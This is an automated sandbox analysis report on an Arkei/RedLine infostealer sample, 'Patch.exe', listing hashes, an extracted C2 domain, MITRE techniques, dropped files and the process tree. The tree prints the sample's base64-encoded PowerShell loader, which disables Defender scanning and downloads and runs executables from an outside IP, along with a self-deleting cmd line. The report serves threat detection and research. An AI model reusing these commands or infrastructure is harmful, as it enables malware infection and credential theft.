arkei | fc2cf10cfbf4d2cf4182efb7230b782b7059cc7f72d015dc5962b5bea5b17fd0

General

Target

Patch.exe
Size

174KB
MD5

9d976aa0b7b02302e0e89466040080d0
SHA1

70c91eee4491050908bb74c5c00ff0f01efff7a3
SHA256

3ec60ccea3fec48d3ea33c63d7d66ec1d3badb174963e8dffe8ce528473c6886
SHA512

c8b1c3ff4a21baf629147271ce57b7762e692cf94fb430b10e0eab22c0833d7881b1a6724a08844abe0dc98a4f964ef1766edbbf7515bde365a4fc453b94dfcd
SSDEEP

768:rgsY7T0sl+kKGUhk6P5p32E8yNQmskkGLbvio3ZzeuOl:Hli6r2mNt0GLzl3Zc

Score

10^/10

arkei redline 1877 default discovery infostealer spyware stealer

Malware Config

Extracted

Family

redline

Botnet

1877

C2

overthinker1877.duckdns.org:60732

Extracted

Family

arkei

Botnet

Default

Signatures

Arkei
Arkei is an infostealer written in C++.
stealer arkei
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 3 IoCs

resource	yara_rule
behavioral2/files/0x000400000001e802-155.dat	family_redline
behavioral2/files/0x000400000001e802-160.dat	family_redline
behavioral2/memory/2604-161-0x0000000000FD0000-0x0000000001008000-memory.dmp	family_redline

Blocklisted process makes network request 1 IoCs

flow	pid	Process
23	4876	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 3 IoCs

pid	Process
4460	svshosts.exe
2604	svchosts.exe
4804	svchost.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Control Panel\International\Geo\Nation	Patch.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Control Panel\International\Geo\Nation	svshosts.exe

Loads dropped DLL 2 IoCs

pid	Process
4460	svshosts.exe
4460	svshosts.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svshosts.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svshosts.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1860	timeout.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4876	powershell.exe
4876	powershell.exe
2604	svchosts.exe
2604	svchosts.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4876	powershell.exe
Token: SeDebugPrivilege	2604	svchosts.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4288 wrote to memory of 4876	4288	Patch.exe	82
PID 4288 wrote to memory of 4876	4288	Patch.exe	82
PID 4288 wrote to memory of 4876	4288	Patch.exe	82
PID 4876 wrote to memory of 4460	4876	powershell.exe	88
PID 4876 wrote to memory of 4460	4876	powershell.exe	88
PID 4876 wrote to memory of 4460	4876	powershell.exe	88
PID 4876 wrote to memory of 2604	4876	powershell.exe	89
PID 4876 wrote to memory of 2604	4876	powershell.exe	89
PID 4876 wrote to memory of 2604	4876	powershell.exe	89
PID 4876 wrote to memory of 4804	4876	powershell.exe	92
PID 4876 wrote to memory of 4804	4876	powershell.exe	92
PID 4876 wrote to memory of 4804	4876	powershell.exe	92
PID 4460 wrote to memory of 1960	4460	svshosts.exe	95
PID 4460 wrote to memory of 1960	4460	svshosts.exe	95
PID 4460 wrote to memory of 1960	4460	svshosts.exe	95
PID 1960 wrote to memory of 1860	1960	cmd.exe	97
PID 1960 wrote to memory of 1860	1960	cmd.exe	97
PID 1960 wrote to memory of 1860	1960	cmd.exe	97

C:\Users\Admin\AppData\Local\Temp\Patch.exe
"C:\Users\Admin\AppData\Local\Temp\Patch.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4288
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAegBzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAawB4AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQBoAGYAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdABnAGoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADMALgA5ADAALgAxADIAOAAuADIANQAzAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHMAdgBzAGgAbwBzAHQAcwAuAGUAeABlACcALAAgADwAIwB1AG0AcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHEAbQBuACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAG4AbABxACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBzAGgAbwBzAHQAcwAuAGUAeABlACcAKQApADwAIwBrAGoAcAAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQAzAC4AOQAwAC4AMQAyADgALgAyADUAMwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBzAHYAYwBoAG8AcwB0AHMALgBlAHgAZQAnACwAIAA8ACMAeABsAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAbQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB2AGEAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHYAYwBoAG8AcwB0AHMALgBlAHgAZQAnACkAKQA8ACMAbABzAGQAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvADEAMwAuADkAMAAuADEAMgA4AC4AMgA1ADMALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AcwB2AGMAaABvAHMAdAAuAGUAeABlACcALAAgADwAIwB1AHcAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHoAdQB5ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGQAdgBtACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnACkAKQA8ACMAeABjAGQAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBoAGIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHYAcABwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBzAGgAbwBzAHQAcwAuAGUAeABlACcAKQA8ACMAcAB4AGYAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZwByAGQAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAG0AagB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBjAGgAbwBzAHQAcwAuAGUAeABlACcAKQA8ACMAaABtAGwAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbAB3AGIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGEAYQBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnACkAPAAjAGEAcwBrACMAPgA="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4876
- - C:\Users\Admin\AppData\Local\Temp\svshosts.exe
    "C:\Users\Admin\AppData\Local\Temp\svshosts.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious use of WriteProcessMemory
    PID:4460
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\svshosts.exe" & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1960
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        5⤵
        Delays execution with timeout.exe
        
        PID:1860
- - C:\Users\Admin\AppData\Local\Temp\svchosts.exe
    "C:\Users\Admin\AppData\Local\Temp\svchosts.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2604
- - C:\Users\Admin\AppData\Roaming\svchost.exe
    "C:\Users\Admin\AppData\Roaming\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:4804

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

2

T1081

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\mozglue.dll

Filesize
133KB

MD5
8f73c08a9660691143661bf7332c3c27

SHA1
37fa65dd737c50fda710fdbde89e51374d0c204a

SHA256
3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd

SHA512
0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89

Download Submit
C:\ProgramData\nss3.dll

Filesize
1.2MB

MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

Download Submit
C:\Users\Admin\AppData\Local\Temp\svchosts.exe

Filesize
205KB

MD5
b3503746bb7f1d30755c9f4a26ce0a2c

SHA1
2490c2a6b3fad0711993c8bb16aab2d21cefac6f

SHA256
90706da9b2d8dca13b4823cb9b6c95bde3df92ac336826722b33cfe495d2e300

SHA512
142841d0e5a51212af7f7ae6cd083eb5daa2e5542f3c8294524ff8c722a4dcbe8462bf647f928ba3b3edb4d36638a4be5a83ad5762e9b8e66429f6006901b72c

Download Submit
C:\Users\Admin\AppData\Local\Temp\svchosts.exe

Filesize
205KB

MD5
b3503746bb7f1d30755c9f4a26ce0a2c

SHA1
2490c2a6b3fad0711993c8bb16aab2d21cefac6f

SHA256
90706da9b2d8dca13b4823cb9b6c95bde3df92ac336826722b33cfe495d2e300

SHA512
142841d0e5a51212af7f7ae6cd083eb5daa2e5542f3c8294524ff8c722a4dcbe8462bf647f928ba3b3edb4d36638a4be5a83ad5762e9b8e66429f6006901b72c

Download Submit
C:\Users\Admin\AppData\Local\Temp\svshosts.exe

Filesize
161KB

MD5
36b190e42e0322b838447fb46098e162

SHA1
ab3e9669f8e50f68e4086943be05b0de245f8b16

SHA256
1812d5a1466bca0681c49479e7f026d48d6c3dbb5c2a082f288eb4f4578670c4

SHA512
3080d6bd06ce32140ffa5baf5a3c08d0eb8debe0e5cd6904ade61a783c82537e912a62c925867ed860691626d0a217d6ff7b98a8c42078ff4faba35409f25e4b

Download Submit
C:\Users\Admin\AppData\Local\Temp\svshosts.exe

Filesize
161KB

MD5
36b190e42e0322b838447fb46098e162

SHA1
ab3e9669f8e50f68e4086943be05b0de245f8b16

SHA256
1812d5a1466bca0681c49479e7f026d48d6c3dbb5c2a082f288eb4f4578670c4

SHA512
3080d6bd06ce32140ffa5baf5a3c08d0eb8debe0e5cd6904ade61a783c82537e912a62c925867ed860691626d0a217d6ff7b98a8c42078ff4faba35409f25e4b

Download Submit
C:\Users\Admin\AppData\Roaming\svchost.exe

Filesize
14KB

MD5
1937d5a853734874a0ef18d4acc43113

SHA1
37c4f8d0c6fea50f836c0a308b06de910205189a

SHA256
88e6238b9329ac7eca5ff20016f896c4869760a44e2da20cfd070bf83db52d64

SHA512
e43cbf94a70683649ac126a68d37f0d69bb581864e5e1a6076f9a09e2a3a89f88b436d3ef41300af873ea1fc70f3fdb75fe69288bcf5c17ef100b4b802478a28

Download Submit
C:\Users\Admin\AppData\Roaming\svchost.exe

Filesize
14KB

MD5
1937d5a853734874a0ef18d4acc43113

SHA1
37c4f8d0c6fea50f836c0a308b06de910205189a

SHA256
88e6238b9329ac7eca5ff20016f896c4869760a44e2da20cfd070bf83db52d64

SHA512
e43cbf94a70683649ac126a68d37f0d69bb581864e5e1a6076f9a09e2a3a89f88b436d3ef41300af873ea1fc70f3fdb75fe69288bcf5c17ef100b4b802478a28

Download Submit
memory/2604-165-0x0000000005830000-0x0000000005842000-memory.dmp

Filesize
72KB

Download
memory/2604-171-0x0000000007C50000-0x0000000007C6E000-memory.dmp

Filesize
120KB

Download
memory/2604-170-0x0000000007470000-0x00000000074E6000-memory.dmp

Filesize
472KB

Download
memory/2604-169-0x0000000007620000-0x0000000007B4C000-memory.dmp

Filesize
5.2MB

Download
memory/2604-168-0x0000000006F20000-0x00000000070E2000-memory.dmp

Filesize
1.8MB

Download
memory/2604-167-0x0000000005C40000-0x0000000005D4A000-memory.dmp

Filesize
1.0MB

Download
memory/2604-166-0x00000000059B0000-0x00000000059EC000-memory.dmp

Filesize
240KB

Download
memory/2604-163-0x0000000005ED0000-0x00000000064E8000-memory.dmp

Filesize
6.1MB

Download
memory/2604-161-0x0000000000FD0000-0x0000000001008000-memory.dmp

Filesize
224KB

Download
memory/4460-194-0x0000000000400000-0x000000000043E000-memory.dmp

Filesize
248KB

Download
memory/4460-172-0x0000000060900000-0x0000000060992000-memory.dmp

Filesize
584KB

Download
memory/4460-164-0x0000000000400000-0x000000000043E000-memory.dmp

Filesize
248KB

Download
memory/4804-159-0x0000000000510000-0x000000000051A000-memory.dmp

Filesize
40KB

Download
memory/4804-162-0x0000000005850000-0x00000000058E2000-memory.dmp

Filesize
584KB

Download
memory/4876-147-0x00000000077A0000-0x00000000077BA000-memory.dmp

Filesize
104KB

Download
memory/4876-143-0x0000000007520000-0x000000000753A000-memory.dmp

Filesize
104KB

Download
memory/4876-138-0x0000000006180000-0x000000000619E000-memory.dmp

Filesize
120KB

Download
memory/4876-150-0x0000000008790000-0x0000000008D34000-memory.dmp

Filesize
5.6MB

Download
memory/4876-139-0x00000000071C0000-0x00000000071F2000-memory.dmp

Filesize
200KB

Download
memory/4876-141-0x00000000067B0000-0x00000000067CE000-memory.dmp

Filesize
120KB

Download
memory/4876-149-0x00000000078B0000-0x00000000078D2000-memory.dmp

Filesize
136KB

Download
memory/4876-148-0x0000000007790000-0x0000000007798000-memory.dmp

Filesize
32KB

Download
memory/4876-137-0x0000000005B80000-0x0000000005BE6000-memory.dmp

Filesize
408KB

Download
memory/4876-146-0x0000000007750000-0x000000000775E000-memory.dmp

Filesize
56KB

Download
memory/4876-145-0x00000000077E0000-0x0000000007876000-memory.dmp

Filesize
600KB

Download
memory/4876-144-0x0000000007580000-0x000000000758A000-memory.dmp

Filesize
40KB

Download
memory/4876-142-0x0000000007B60000-0x00000000081DA000-memory.dmp

Filesize
6.5MB

Download
memory/4876-136-0x0000000005B10000-0x0000000005B76000-memory.dmp

Filesize
408KB

Download
memory/4876-135-0x0000000005270000-0x0000000005292000-memory.dmp

Filesize
136KB

Download
memory/4876-134-0x00000000053F0000-0x0000000005A18000-memory.dmp

Filesize
6.2MB

Download
memory/4876-140-0x0000000070AB0000-0x0000000070AFC000-memory.dmp

Filesize
304KB

Download
memory/4876-133-0x0000000002C50000-0x0000000002C86000-memory.dmp

Filesize
216KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads